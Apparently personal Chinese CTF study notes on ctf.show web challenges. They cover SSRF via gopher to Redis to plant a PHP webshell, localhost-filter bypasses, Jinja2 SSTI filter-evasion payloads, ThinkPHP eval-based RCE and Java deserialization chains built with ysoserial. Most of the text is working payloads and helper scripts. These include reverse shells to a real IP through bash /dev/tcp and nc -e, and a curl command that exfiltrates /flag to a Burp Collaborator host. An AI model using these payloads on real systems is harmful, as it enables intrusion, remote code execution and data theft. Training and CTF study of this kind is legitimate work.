
gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252427%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B1%255D%2529%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

访问shell.php,POST参数1

补充

其他绕过127的方法

  1. 如果目标代码限制访问的域名只能为http://www.xxx.com, 那么我们可以采用HTTP基本身份认证的方式绕过。即@:??http://www.xxx.com@www.evil.com http://www.evil.com/
  2. http://xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,如访问:http://127.0.0.1.xip.io/flag.php时,实际访问的是http://127.0.0.1/1.php 像这样的网址还有http://nip.io, http://sslip.io
  3. 短网址目前基本都需要登录使用,如https://4m.cn/
  4. 各种指向127.0.0.1的地址
http://localhost/         # localhost就是代指127.0.0.1
http://0/                 # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/    # 在liunx下可用,window测试了下不行
http://[::]:80/           # 在liunx下可用,window测试了下不行
http://127。0。0。1/       # 用中文句号绕过
http://①②⑦.?.?.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1

利用不存在的协议头绕过指定的协议头

file_get_contents()函数的一个特性,即当PHP的file_get_contents()函数在遇到不认识的协议头时候会将这个协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。(include()函数也有类似的特性)

ssrf.php?url=httpsssss://../../../../../../etc/passwd   可以造成目录穿越

URL解析差异

  1. readfile和parse_user函数解析差异绕过指定端口
<?php
$url = 'http://'. $_GET[url];
$parsed = parse_url($url);
if( $parsed[port] == 80 ){  // 这里限制了我们传过去的url只能是80端口的
  readfile($url);
} else {
  die('Hacker!');
}

上述代码限制了我们传过去的url只能是80端口的,但如果我们想去读取11211端口的文件的话,我们可以用以下方法绕过

ssrf.php?url=127.0.0.1:11211:80/flag.txt

两个函数解析host也存在差异,利用这种差异的不同,可以绕过题目中parse_url()函数对指定host的限制

  1. 利用readfile和parse_user的解析差异绕过指定host
  2. 利用curl和parse_url的解析差异绕过指定host

参考文章 https://blog.51cto.com/u_15878568/5955070
文章中两个函数解析host也存在差异,利用这种差异的不同,可以绕过题目中parse_url()函数对指定host的限制的配图好像函数标反了

SSTI

相关工具tplmap和Fenjing

https://github.com/Marven11/Fenjing windows可用

https://github.com/epinna/tplmap kali中

详细分析在E:\CTF\ctf整理\知识点整理\WEB\SSTI模板注入

web361

subprocess.Popen

/?name={{"".__class__.__base__.__subclasses__()[407]}}

/?name={{"".__class__.__base__.__subclasses__()[407]("ls",shell=True,stdout=-1).communicate()[0].strip()}}

os._wrap_close

?name={{"".__class__.__base__.__subclasses__()[132]}}
 
/?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']("ls").read()}}
 
/?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']("ls /").read()}}
 
/?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']("cat /f*").read()}}

url_for

{{url_for.__globals__}}
 
{{url_for.__globals__["current.app"].config}}

其他

使用子类可以直接调用的函数来打
?name={{''.__class__.__base__.__subclasses__()[94]["get_data"](0,"/flag")}}

?name={{''.__class__.__base__.__subclasses__()[407]('cat /flag',shell=True,stdout=-1).communicate()[0].strip()}}

使用重载函数
?name={{''.__class__.__base__.__subclasses__()[290].__init__.__globals__['os'].popen('cat /flag').read()}}

?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

?name={{''.__class__.__base__.__subclasses__()[292].__init__.__globals__['linecache']['os'].popen('ls /').read()}}

内嵌函数
?name={{''.__class__.__base__.__subclasses__()[446].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

twig 和 Jinja2 使用

lipsum

是一个用于生成语句的方法,这里我们也可以利用其进行ssti攻击

?name={{lipsum.__globals__}}
 
?name={{lipsum.__globals__['os']}}
 
{{lipsum.__globals__['os'].popen("ls").read()}}
 
{{lipsum.__globals__['os'].popen("cat /f*").read()}}

cycler

?name={{cycler.__init__.__globals__}}
 
?name={{cycler.__init__.__globals__.os.popen("ls /").read()}}
 
?name={{cycler.__init__.__globals__.os.popen("cat /f*").read()}}

使用工具

tplmap
python2 tplmap.py -u 'http://639a05a5-20c7-4b13-95dc-fd74de3b48fa.challenge.ctf.show/?name='
Fenjing

注意输入url用http

web362

开始过滤

tplmap不行,Fenjing可以,耗时有点长

过滤了多数数字

?name={{''.__class__.__base__.__subclasses__()[94]["get_data"](0,"/flag")}}
{% set a='aaaaaa'|length %}{{ ().__class__.__base__.__subclasses__()[a] }}通过计算长度实现,但是太长,不首先用

使用脚本输出数字

def half2full(half):  
    full = ''  
    for ch in half:  
        if ord(ch) in range(33, 127):  
            ch = chr(ord(ch) + 0xfee0)  
        elif ord(ch) == 32:  
            ch = chr(0x3000)  
        else:  
            pass  
        full += ch  
    return full  
t=''
s="0123456789"
for i in s:
    t+='\''+half2full(i)+'\','
print(t)
/?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__.popen("cat /f*").read()}}

没有数字的payload

?name={{lipsum.__globals__['os'].popen("cat /flag").read()}}

web363

过滤引号

过滤了引号 我们就可以通过括号来查找

使用getitem 自定义变量
这里可以使用自定义的变量来绕过 request.values.a 类似于自己定义的变量

只需要在}}后面传递参数即可

{{().__class__.__mro__[1].__subclasses__()}}
 
 
/?name={{().__class__.__mro__[1].__subclasses__()[].__init__.__globals__.__getitem__(request.values.a)}}&a=popen
 
这里是我们需要跑的脚本类型
 
我们需要找到popen来执行命令 我们就可以通过遍历类 然后通过__getitem__找到方法request
然后来查询popen

查找类的脚本

import requests
 
baseurl="http://c48f6cc8-a4d6-4783-86af-982c96cf190e.challenge.ctf.show/?name="
 
for i in range(1000):
    payload="""{{().__class__.__mro__[1].__subclasses__()[%i].__init__.__globals__.__getitem__(request.values.a)}}&a=popen"""%i
    r=requests.get(url=baseurl+payload)
    if "popen" in r.text:
        print(i)
    else:
        continue
{{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.__getitem__(request.values.a)(request.values.b).read()}}&a=popen&b=ls /
 
 
/?name={{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.__getitem__(request.values.a)(request.values.b).read()}}&a=popen&b=cat /flag

或者

?name={{().__class__.__base__.__subclasses__()[94][request.args.m1](0,request.args.m2)}}&m1=get_data&m2=/flag

web364

过滤了args

传给cookie

?name={{().__class__.__base__.__subclasses__()[94][request.cookies.m1](0,request.cookies.m2)}}
cookie传入:m1=get_data;m2=/flag

chr 方法

import requests
 
baseurl="http://c48f6cc8-a4d6-4783-86af-982c96cf190e.challenge.ctf.show/?name="
 
for i in range(1000):
    payload="""{{().__class__.__mro__[1].__subclasses__()[%s].__init__.__globals__.__builtins__.chr}}"""%i
    r=requests.get(url=baseurl+payload)
    if "chr" in r.text:
        print(i)
    else:
        continue

通过脚本 寻找存在chr方法的类

然后使用 框架表达式 {{%%}}声明变量

来声明 chr的方法

?name={%set+chr=().__class__.__mro__[1].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}
 
 
 
这里是两块
{% set chr=().__class__.__mro__[1].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}
 
第一块 来设置chr为python内置的chr函数
 
 
第二块
{{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}
 
这里的chr() 是 cat /f*

web365

新增过滤中括号

getitem()

__golbals__[132]
等价于
__golbals__.__getitem__(132)

payload

?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.values.a).read()}}&a=ls /
 
 
?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.values.a).read()}}&a=cat /f*

web366

新增过滤了下划线

方法一

?name={{(lipsum|attr(request.cookies.m1)).os.popen(request.cookies.m2).read()}}
cookie:m1=__globals__;m2=cat /flag

方法二

attr

对应内置函数__attribute__(a,b),获取a对象的属性b的值

().__class__
 
 
()|attr('__class__') 这两个是一样的
 
 
但是这个题目过滤了_ 
 
我们可以使用request来绕过
 
 
(lipsum|attr(request.values.a))   &a=__class__

payload

{{lipsum|attr(request.values.b)}}&b=__globals__
 
 
{{(lipsum|attr(request.values.b)).os}}&b=__globals__
lipsum生成占位符文本,或作为模板对象的名称传给attr(request.values.b)过滤器,过滤器的结果是获取__globals__属性
 
 
{{(lipsum|attr(request.values.b)).os.popen(request.values.c).read()}}&b=__globals__&c=ls
 
{{(lipsum|attr(request.values.b)).os.popen(request.values.c).read()}}&b=__globals__&c=cat /f*

web367

这里在上面的基础上过滤了os

方法一:
传给cookie

?name={{(lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read()}}
 
cookie:m1=__globals__;m2=cat /flag;m3=os

方法二:
get(request.cookies.m3)方式获取os

?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /f*

web368

过滤了{{
{% %}

?name={%+print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()%}&a=__globals__&b=os&c=ls /
 
 
?name={%+print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()%}&a=__globals__&b=os&c=cat /f*

以及

?name={%print((lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read())%}
 
cookie:m1=__globals__;m2=cat /flag;m3=os

web369

{%%}中过滤了request

双大括号也过滤了

包括前面的单双引号、中括号、下划线都是过滤了的

""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
相当于
""["__class__"]
举个例子,chr(97) 返回的是字符 'a',因为 97 是小写字母 'a' 的 Unicode 编码值。
""chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)
相当于
""__class__

详细解释见SSTI.md

?name=
{% set po=dict(po=a,p=a)|join%}          //拼接出pop
{% set a=(()|select|string|list)|attr(po)(24)%}         //拼接出_
{% set ini=(a,a,dict(init=a)|join,a,a)|join%}          //拼接出__init__
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}       //拼接出__globals__
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}		//拼接出__getitem__
{% set buil=(a,a,dict(builtins=a)|join,a,a)|join()%}		//拼接出__builtins__
{% set x=(x|attr(ini)|attr(glo)|attr(geti))(buil)%}		
{% set chr=x.chr%}		//使用chr类来进行RCE因为等会要ascii转字符
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}	//拼接出/flag
{%print(x.open(file).read())%}

附上python构造脚本

import requests
url="http://ac6e1d67-01fa-414d-8622-ab71706a7dca.chall.ctf.show:8080/?name={{% print (config|string|list).pop({}).lower() %}}"

payload="cat /flag"
result=""
for j in payload:
    for i in range(0,1000):
        r=requests.get(url=url.format(i))
        location=r.text.find("<h3>")
        word=r.text[location+4:location+5]
        if word==j.lower():
            print("(config|string|list).pop(%d).lower()  ==  %s"%(i,j))
            result+="(config|string|list).pop(%d).lower()~"%(i)
            break
print(result[:len(result)-1])

web370

过滤了数字用全角数字代替半角数字

数字替换脚本

def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
while 1:
    t = ''
    s = input("输入想要转换的数字字符串:")
    for i in s:
        t += half2full(i)
    print(t)

payload

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

或者count构造数字

?name=
{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set ten=dict(cccccccccc=a)|join|count%}
{%set onefiv=(three*five)%}
{%set oneeig=(three*six)%}
{%set onenin=(three*six%2Bone)%}
{%set twoeve=(three*nine)%}
{%set threeone=(twoeve%2Bfour)%}
{%set fourty=(four*ten)%}
{%set fouroo=(fourty*ten%2Bthreeone)%}
{%set gl=(((lipsum|string|list).pop(oneeig))~((lipsum|string|list).pop(oneeig))~((lipsum|string|list).pop(ten))~((lipsum|string|list).pop(onenin))~((lipsum|string|list).pop(seven))~((lipsum|string|list).pop(fourty))~((lipsum|string|list).pop(threeone))~((lipsum|string|list).pop(onenin))~((lipsum|string|list).pop(twoeve))~((lipsum|string|list).pop(oneeig))~((lipsum|string|list).pop(oneeig)))%}
{%set o=(((lipsum|string|list).pop(seven))~((lipsum|string|list).pop(twoeve)))%}
{%set cmd=(((lipsum|string|list).pop(four))~((lipsum|string|list).pop(onefiv))~((lipsum|string|list).pop(five))~((lipsum|string|list).pop(nine))~((lipsum|attr(gl)|string|list).pop(fouroo))~((lipsum|string|list).pop(one))~((lipsum|string|list).pop(onenin))~((lipsum|string|list).pop(onefiv))~((lipsum|string|list).pop(ten)))%}
{%print((((lipsum|attr(gl)).get(o)).popen)(cmd).read())%}

web371

过滤print

考虑回显外带攻击

可以和上题一样替换数字

?name=
{%set o=(dict(o=a,s=b)|join)%}
{%set a=(lipsum|string|list).pop(24)%}
{%set gl=(a,a,dict(globals=b)|join,a,a)|join%}
{%set bu=(a,a,dict(builtins=b)|join,a,a)|join%}
{%set chr=((lipsum|attr(gl)).get(bu).chr)%}
{%set cmd=chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(45)%2bchr(88)%2bchr(32)%2bchr(80)%2bchr(79)%2bchr(83)%2bchr(84)%2bchr(32)%2bchr(45)%2bchr(70)%2bchr(32)%2bchr(120)%2bchr(120)%2bchr(61)%2bchr(64)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(53)%2bchr(104)%2bchr(110)%2bchr(97)%2bchr(55)%2bchr(107)%2bchr(49)%2bchr(106)%2bchr(54)%2bchr(110)%2bchr(117)%2bchr(101)%2bchr(55)%2bchr(122)%2bchr(122)%2bchr(110)%2bchr(50)%2bchr(115)%2bchr(119)%2bchr(121)%2bchr(112)%2bchr(115)%2bchr(121)%2bchr(97)%2bchr(109)%2bchr(49)%2bchr(115)%2bchr(114)%2bchr(103)%2bchr(103)%2bchr(46)%2bchr(98)%2bchr(117)%2bchr(114)%2bchr(112)%2bchr(99)%2bchr(111)%2bchr(108)%2bchr(108)%2bchr(97)%2bchr(98)%2bchr(111)%2bchr(114)%2bchr(97)%2bchr(116)%2bchr(111)%2bchr(114)%2bchr(46)%2bchr(110)%2bchr(101)%2bchr(116)%}
{%if((lipsum|attr(gl)).get(o).popen(cmd))%}
zzh
{%endif%}

chr构造cmd脚本curl -X POST -F xx=@/flag http://5hna7k1j6nue7zzn2swypsyam1srgg.burpcollaborator.net
@符号告诉curl命令去读取指定路径的文件内容

用burp的Burp Collaborater Client做DNS域名解析

def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
string = input("你要输入的字符串:")
result = ''
def str2chr(s):
    global  result
    for i in s:
        result += "chr("+half2full(str(ord(i)))+")%2b"
str2chr(string)
print(result[:-3])

也可以用如下脚本,用count构造数字

def aaa(t):
	t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'
	return t
s='__import__("os").popen("curl -X POST -F xx=@/flag http://5hna7k1j6nue7zzn2swypsyam1srgg.burpcollaborator.net").read()'
def ccchr(s):
	t=''
	for i in range(len(s)):
		if i<len(s)-1:
			t+='chr('+aaa(str(ord(s[i])))+')%2b'
		else:
			t+='chr('+aaa(str(ord(s[i])))+')'
	return t
print(ccchr(s))

只有curl可以用,nc\ping\weget都不可以

?name=
{% set c=(t|count)%}           #拼接出0
{% set cc=(dict(e=a)|join|count)%}         1 
{% set ccc=(dict(ee=a)|join|count)%}         2
{% set cccc=(dict(eee=a)|join|count)%}        3
{% set ccccc=(dict(eeee=a)|join|count)%}           4
{% set cccccc=(dict(eeeee=a)|join|count)%}            5 
{% set ccccccc=(dict(eeeeee=a)|join|count)%}          6 
{% set cccccccc=(dict(eeeeeee=a)|join|count)%}		7	
{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}		8	
{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}	9
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}	10
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}	11
{% set coun=(ccc~ccccc)|int%}    24
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
{%endif%}

web372

发现count被禁用 可以使用length代替

最方便还是构造数字外带,用上题的payload

XXE

区块链安全

黑盒测试

其他

嵌入式

框架复现

CMS

中期测评

sqli-labs

thinkphp专题

参考thinkphp手册

工具

TPscan

https://github.com/Lucifer1993/TPscan

python TPscan.py

ThinkPHPGUI

https://github.com/Lotus6/ThinkphpGUI

java -jar ThinkphpGUI-1.3-SNAPSHOT.jar

Aazhen-V3.1

支持ThinkPHP 2.x RCE,Thinkphp5 5.0.22/5.1.29RCE,ThinkPHP5 5.0.23RCE和ThinkPHP5 SQL注入漏洞和敏感信息泄露漏洞的漏洞检测,以及命令执行的功能。漏洞POC基本适用ThinkPHP全版本漏洞。

https://github.com/zangcc/Aazhen-v3.1

还没下载

ThinkPHP综合利用工具

https://github.com/bewhale/thinkphp_gui_tools

java -jar ThinkPHP.jar

web569

框架访问基本结构

url/index.php/模块/控制器/操作或方法或函数

访问框架中的方法有4中模式

PATHINFO模式

http://localhost/index.php/Home/Index/index/name/123/

普通模式

http://localhost/index.php?m=Home&c=Index&f=index&name=123

兼容模式

http://localhost/index.php?s=Home/Index/index/name/123

其中参数s来自于ThinkPHP->Conf->convention.php中的VAR_PATH_INFO设置,所以我们也可以改成其他的参数。

REWRITE模式

http://localhost/Home/Index/index/name/123/

回到题目可以用PATHINFO模式

payload

https://ef396ccd-e121-4b24-9960-cab75dad498f.challenge.ctf.show/index.php/Admin/Login/ctfshowLogin

web570

源码放到Seay源代码审计系统里审计一下

Common\Conf\config.php里有call_user_func($f, $a);可以命令执行

<?php
return array(
	//'配置项'=>'配置值'
	'DB_TYPE'               =>  'mysql',     // 数据库类型
    'DB_HOST'               =>  '127.0.0.1', // 服务器地址
    'DB_NAME'               =>  'ctfshow',          // 数据库名
    'DB_USER'               =>  'root',      // 用户名
    'DB_PWD'                =>  'ctfshow',          // 密码
    'DB_PORT'               =>  '3306',        // 端口
    'URL_ROUTER_ON'   => true, 
	'URL_ROUTE_RULES' => array(
    'ctfshow/:f/:a' =>function($f,$a){
    	call_user_func($f, $a);
    	}
    )
);
http://64fa5bed-291a-4a48-ac29-27071fd7d401.challenge.ctf.show/index.php/ctfshow/assert/eval($_POST[1])/

POST:1=system('cat /f*')

url/index.php/ctfshow/eval/$_POST[1]/   # 不可用

web571

在home模块下的index方法中看到了可控变量n

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index($n=''){
        $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>CTFshow</h1><p>thinkphp 专项训练</p><p>hello,'.$n.'黑客建立了控制器后门,你能找到吗</p>','utf-8');
    }

}

github上找thinkphp3.2.3的源码,ThinkPHP/Library/Think/Controller.class.php跟进show函数

    protected function show($content, $charset = '', $contentType = '', $prefix = '')
    {
        $this->view->display('', $charset, $contentType, $content, $prefix);
    }

去ThinkPHP/Library/Think/View.class.php中跟进display

    public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '')
    {
        G('viewStartTime');
        // 视图开始标签
        Hook::listen('view_begin', $templateFile);
        // 解析并获取模板内容
        $content = $this->fetch($templateFile, $content, $prefix);
        // 输出模板内容
        $this->render($content, $charset, $contentType);
        // 视图结束标签
        Hook::listen('view_end');
    }

这个类中跟进fetch

    public function fetch($templateFile = '', $content = '', $prefix = '')
    {
        if (empty($content)) {
            $templateFile = $this->parseTemplate($templateFile);
            // 模板文件不存在直接返回
            if (!is_file($templateFile)) {
                E(L('_TEMPLATE_NOT_EXIST_') . ':' . $templateFile);
            }

        } else {
            defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
        }
        // 页面缓存
        ob_start();
        ob_implicit_flush(0);
        if ('php' == strtolower(C('TMPL_ENGINE_TYPE'))) {
            // 使用PHP原生模板
            if (empty($content)) {
                if (isset($this->tVar['templateFile'])) {
                    $__template__ = $templateFile;
                    extract($this->tVar, EXTR_OVERWRITE);
                    include $__template__;
                } else {
                    extract($this->tVar, EXTR_OVERWRITE);
                    include $templateFile;
                }
            } elseif (isset($this->tVar['content'])) {
                $__content__ = $content;
                extract($this->tVar, EXTR_OVERWRITE);
                eval('?>' . $__content__);
            } else {
                extract($this->tVar, EXTR_OVERWRITE);
                eval('?>' . $content);
            }
        } else {
            // 视图解析标签
            $params = array('var' => $this->tVar, 'file' => $templateFile, 'content' => $content, 'prefix' => $prefix);
            Hook::listen('view_parse', $params);
        }
        // 获取并清空缓存
        $content = ob_get_clean();
        // 内容过滤标签
        Hook::listen('view_filter', $content);
        if (APP_DEBUG && C('PARSE_VAR')) {
            // debug模式时,将后台分配变量输出到浏览器控制台
            $parseVar = empty($this->tVar) ? json_encode(array()) : json_encode($this->tVar);
            $content  = $content . '<script type="text/javascript">var PARSE_VAR = ' . $parseVar . ';</script>';
        }
        // 输出模板文件
        return $content;
    }

可以看到我们传入的n也就是content在TMPL_ENGINE_TYPE是php的情况下会进到eval函数中。

TMPL_ENGINE_TYPE默认是Think,这里应该是做了修改

所以我们直接传php代码就可以了?n=<?php system('cat /f*');?>

web572

题目中提到了爆破,在thinkphp开启debug的情况下会在Runtime目录下生成log文件,文件的名称是以年_月_日.log来命名的。所以我们可以来爆破文件名

日志文件路径

http://b29a8b23-1e0d-4b89-804b-4c809b69fc21.challenge.ctf.show/Application/Runtime/Logs/Home/24_12_14.log

在Application/Runtime/Logs/Home/21_04_15.log中有127.0.0.1 /index.php?showctf=%3C?php%20phpinfo();?%3E

推测存在一句话木马,参数是showctf,所以传入/index.php?showctf=<?php system('cat /f*');?>

组件漏洞

Laravel专题

Yii专题

终极考核

权限维持

大赛原题

常用姿势

税务比武

java反序列化

工具ysoserial(kali中使用):https://github.com/frohoff/ysoserial

java -jar ysoserial-all.jar

web846

URLDNS链

用工具

java -jar ysoserial-all.jar URLDNS "http://66668dfc-ff9f-452f-a5d0-828cdd5bf1b3.challenge.ctf.show/"|base64 -w 0

然后对生产的命令进行一次url编码

web847

题目环境中,没有nc和curl命令

工具

在ysoserial中cc1、cc3、cc5、cc6、cc7对应的commons-collections:3.1
cc2、cc4对应的commons-collections4:4.0
所以在3.1中随便挑一个运行反弹shell即可。

bash -i >& /dev/tcp/115.236.153.170/33831 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzAvMzM4MzEgMD4mMQ==}|{base64,-d}|{bash,-i}
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzAvMzM4MzEgMD4mMQ==}|{base64,-d}|{bash,-i}"|base64 -w 0

web848

不准用TransformedMap类反序列化,也就是说cc1被ban了,换个其他的即可,比如cc5

bash -i >& /dev/tcp/115.236.153.170/33831 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzAvMzM4MzEgMD4mMQ==}|{base64,-d}|{bash,-i}
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzAvMzM4MzEgMD4mMQ==}|{base64,-d}|{bash,-i}"|base64 -w 0

web849

首先只能使用cc2或者cc4,并且题目提示需要nc反弹

java -jar ysoserial-all.jar CommonsCollections2 "nc 115.236.153.170 33831 -e /bin/sh "|base64 -w 0

web850

cc3可用,cc5不可用

java -jar ysoserial-all.jar CommonsCollections3 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzAvMzM4MzEgMD4mMQ==}|{base64,-d}|{bash,-i}"|base64 -w 0

web851-web853

直接用工具打不通了,这里采用的方法是基于cc7改的,改成了适用于commons-collections4的链子

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"nc 1.15.153.196 4567 -e /bin/sh"})
        };
        Transformer transformerChain2 = new ChainedTransformer(transformers);

        //使用Hashtable来构造利用链调用LazyMap
        Map hashMap1 = new HashMap();
        Map hashMap2 = new HashMap();
        Class<DefaultedMap> d = DefaultedMap.class;
        Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class);
        declaredConstructor.setAccessible(true);
        DefaultedMap defaultedMap1 = declaredConstructor.newInstance(hashMap1, transformerChain2);
        DefaultedMap defaultedMap2 = declaredConstructor.newInstance(hashMap2, transformerChain2);

        defaultedMap1.put("yy", 1);
        defaultedMap2.put("zZ", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(defaultedMap1, 1);
        hashtable.put(defaultedMap2, 1);
        defaultedMap2.remove("yy");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashtable);
        String payload = new String(Base64.getEncoder().encode(baos.toByteArray()));
        System.out.println(payload);

web855

参考 https://blog.csdn.net/miuzzx/article/details/128303093?spm=1001.2014.3001.5502
碰到java里的hash碰撞可以参考

def hashcode(val):
    h=0
    for i in range(len(val)):
        h=31 * h + ord(val[i])
    return h 
t="ct" #碰撞字符
#t="12"
for k in range(1,128):
    for l in range(1,128):
        if t!=(chr(k)+chr(l)):
            if(hashcode(t)==hashcode(chr(k)+chr(l))):
                print(t,chr(k)+chr(l))

web856

考的jdbc反序列化,以及相关工具的使用
工具下载地址:https://github.com/fnmsd/MySQL_Fake_Server
工具默认开启一个fake mysql,端口为3306。为了防止和本地的mysql冲突,可以改成3307

最终构造如下地址即可
jdbc:mysql://vps地址:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_Jdk7u21_calc
我们要调用的链子是放到user上的
比如我们要使用cc4链子执行calc命令,那么user的值为yso_CommonsCollections4_calc
还有一种方法就是修改工具文件夹里面的config.json

改成上述内容后,我们传入user=yu22x 即可利用cc4链执行calc
我们将命令改成nc反弹shell
nc ip port -e sh
最后就是构造序列化链了

        Connection connection = new Connection();
        Class<? extends Connection> aClass = connection.getClass();
        Field host = aClass.getDeclaredField("host");
        host.setAccessible(true);
        host.set(connection,"你的vps地址");
        Field port = aClass.getDeclaredField("port");
        port.setAccessible(true);
        port.set(connection,3307);
        Field user = aClass.getDeclaredField("user");
        user.setAccessible(true);
        user.set(connection,new User("yu22x","123456"));  //这个地方的yu22x就是我们在config.json里面设的值
        Field schema = aClass.getDeclaredField("schema");
        schema.setAccessible(true);
